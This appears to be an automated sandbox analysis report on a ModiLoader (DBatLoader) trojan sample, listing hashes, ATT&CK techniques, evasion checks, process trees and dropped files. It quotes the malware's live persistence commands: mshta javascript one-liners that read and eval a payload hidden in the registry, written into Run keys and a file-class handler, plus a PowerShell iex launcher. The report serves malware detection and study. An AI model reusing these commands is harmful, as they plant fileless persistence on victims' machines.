modiloader | f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70c

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
10-12-2024 07:50

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General

Target

f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
Size

264KB
MD5

cd737dd6ef2be306cf406249af91d7e0
SHA1

423a4dcf14b04a60cfe3da2b6755296d71b0104a
SHA256

f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70c
SHA512

b13d18b5cfe8d9d0809b259e4e54083675fcd3e82065601f53bf7781d9e08f16a21044e5de275d42fdd588d593bfb1b65fc28125035a94ad486095dcb57730ed
SSDEEP

6144:d02c94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQeyE:aSnYPweZnl+EER+iv6IeyE

Score

10^/10

modiloader discovery evasion execution persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modiloader family
modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	2188	mshta.exe	32

Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs

evasion

File and Directory Discovery

T1083

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 60 IoCs

resource	yara_rule
behavioral1/memory/2904-2-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-5-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-7-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-10-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-9-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-8-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-6-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-11-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-12-0x0000000001E30000-0x0000000001F06000-memory.dmp	modiloader_stage2
behavioral1/memory/2660-22-0x0000000006230000-0x0000000006306000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-24-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/2660-26-0x0000000006230000-0x0000000006306000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-23-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-35-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-36-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-34-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-33-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-32-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-31-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-30-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-29-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-28-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-27-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-75-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-74-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-73-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-72-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-71-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-70-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-69-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-68-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-67-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-66-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-65-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-64-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-63-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-62-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-61-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/868-60-0x0000000000090000-0x00000000001D1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-59-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/2660-25-0x0000000002E20000-0x0000000004E20000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-58-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-57-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-56-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-55-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-54-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-49-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-48-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-47-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-46-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-45-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-44-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-43-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-42-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-41-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-40-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-39-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-38-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2
behavioral1/memory/1976-37-0x00000000002A0000-0x00000000003E1000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

pid	Process
1976	regsvr32.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b719cc.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:tuBY3M6=\"IrLp7Bif\";k21x=new%20ActiveXObject(\"WScript.Shell\");u4Tou=\"kxX\";Al4Yd=k21x.RegRead(\"HKCU\\\\software\\\\zqidoy\\\\whsynxa\");jKnI5=\"ts3V\";eval(Al4Yd);tEgvm0Y=\"jDaVozH\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\433fb8\\9e8496.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:HyZw6X=\"mMtAopw\";OZ55=new%20ActiveXObject(\"WScript.Shell\");lzMVIni6=\"c\";ch0bP6=OZ55.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\zqidoy\\\\whsynxa\");AmY6bjz3Z=\"k\";eval(ch0bP6);fXZoc8yC=\"v\";"	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2660	powershell.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2616 set thread context of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2660 set thread context of 1976	2660	powershell.exe	36
PID 1976 set thread context of 868	1976	regsvr32.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\4e3ee2\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\4e3ee2\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\4e3ee2\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\4e3ee2\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:OSDS9ELd=\"U\";U2Y=new ActiveXObject(\"WScript.Shell\");CddA1Cw=\"Vp\";RHEW6=U2Y.RegRead(\"HKCU\\\\software\\\\zqidoy\\\\whsynxa\");wRlNA4f0f=\"bpAT6mEs\";eval(RHEW6);H2Zu7zQa=\"Jw6\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\.21b5e51	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\.21b5e51\ = "4e3ee2"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\4e3ee2	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2660	powershell.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe
1976	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2660	powershell.exe
1976	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2660	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2616 wrote to memory of 2904	2616	f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe	31
PID 2636 wrote to memory of 2660	2636	mshta.exe	34
PID 2636 wrote to memory of 2660	2636	mshta.exe	34
PID 2636 wrote to memory of 2660	2636	mshta.exe	34
PID 2636 wrote to memory of 2660	2636	mshta.exe	34
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 2660 wrote to memory of 1976	2660	powershell.exe	36
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37
PID 1976 wrote to memory of 868	1976	regsvr32.exe	37

C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
"C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe
  "C:\Users\Admin\AppData\Local\Temp\f58c07af381260020c450baa75bd7982dafaf19c263713aee18074a96998e70cN.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2904

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:EYf56I="U";v52r=new%20ActiveXObject("WScript.Shell");KnG0fv6k="rxVaVN";hL3tS3=v52r.RegRead("HKLM\\software\\Wow6432Node\\WibxRlK\\FiDdbrSIP");itk38AR="FFd9Z4uv";eval(hL3tS3);fdHHo56="b5";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:cunnwwt
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VirtualBox drivers on disk
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Drops startup file
    - Adds Run key to start application
    - Maps connected drives based on registry
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\433fb8\240497.bat

Filesize
61B

MD5
1d06860b64c4072361d52f6a00c431ca

SHA1
db14a9606b1890be159fcee77408318872015d08

SHA256
2c651141246b4d81ff4ee6cc84ffb5625bead8968fb9f2112d6ba969461d7947

SHA512
6d76ff1f738c611f8f8f269c60ee9440e85b80517226f27d87c279e0d05f0682e71a48b8d176da69be34fd6e7d5102d7e3ba153c6209218f714056fb0c857a11

Download Submit
C:\Users\Admin\AppData\Local\433fb8\9e8496.lnk

Filesize
877B

MD5
2df4cda54b915c311341d49d23094ff3

SHA1
0d984ad23efa0fee3ec6f6b775f74146e55b57b3

SHA256
b9bcf965c39bd5e738e1d32f8753a51b4ed8f29171f6367212bc24c0bdfc17c5

SHA512
9b75a3030cf8e5828798c7b799cfce7c5ac94194e3f3513c66ec7c38c968aa1c343b22c890ada792614553cd6b6e354e021f53e43425b88c2883fe71068951b0

Download Submit
C:\Users\Admin\AppData\Local\433fb8\ab2c43.21b5e51

Filesize
39KB

MD5
3c7612bbaabc084f679d52407af78c4b

SHA1
d8ac8991fa79c7ba448a7db0d1badc9f8b93c2ee

SHA256
0bdeb60d41f55a7ea8e1439903b4b997eaff8697a5fdcfded0950ea9b434720e

SHA512
c560b2bcbeb4152cda3e2e3b4cc3f61b21699e27ba7e42d28fc0cf3c6c5976df7c438b0289ecb2bb541b1dcdc7b5fd5991f11007f83eaedf219f144d3ba8b888

Download Submit
C:\Users\Admin\AppData\Roaming\5ac6dc\097814.21b5e51

Filesize
34KB

MD5
7f9d4c7d40f7cf9cb27cc53c632a7e56

SHA1
8217da3cd211eb3467acab695212a88256fcdcf8

SHA256
9b94d3037c2cb167949a40394579b4cfeffdcee54400b0b9306c1aa71c507ccc

SHA512
250b3416a80c9291fd996d7fb9e1a04740eb7928fc170d24572160dffe7acfe9c9b2f394b7308f063d614ca420f8e1267175f9636adc64c11ed472b6e5543682

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b719cc.lnk

Filesize
987B

MD5
e8654602d6d96f42fc0e40c044b32772

SHA1
a16494a003534b615fceaaafdcfc435903135bbd

SHA256
1aabe8e8138e7c39c890b60f85982874359fa2666e0866518c874367999800b4

SHA512
13ac78f69c31c11697a992f677eedddb5bbc6db71b20b81078a6ef272d3342b2828feca304cb1a09d7421603022cfc6e821070375b84e6df880e21e393efd60c

Download Submit
memory/868-64-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-60-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-61-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-62-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-63-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-75-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-65-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-66-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-67-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-68-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-69-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-70-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-71-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-72-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-73-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/868-74-0x0000000000090000-0x00000000001D1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-34-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-58-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-27-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-29-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-30-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-31-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-32-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-33-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-37-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-36-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-35-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-23-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-38-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-24-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-39-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-40-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-41-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-42-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-43-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-59-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-44-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-28-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-57-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-56-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-55-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-54-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-49-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-48-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-47-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-46-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/1976-45-0x00000000002A0000-0x00000000003E1000-memory.dmp

Filesize
1.3MB

Download
memory/2660-25-0x0000000002E20000-0x0000000004E20000-memory.dmp

Filesize
32.0MB

Download
memory/2660-26-0x0000000006230000-0x0000000006306000-memory.dmp

Filesize
856KB

Download
memory/2660-22-0x0000000006230000-0x0000000006306000-memory.dmp

Filesize
856KB

Download
memory/2904-11-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-12-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-6-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-8-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-2-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2904-9-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-10-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-7-0x0000000001E30000-0x0000000001F06000-memory.dmp

Filesize
856KB

Download
memory/2904-5-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2904-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download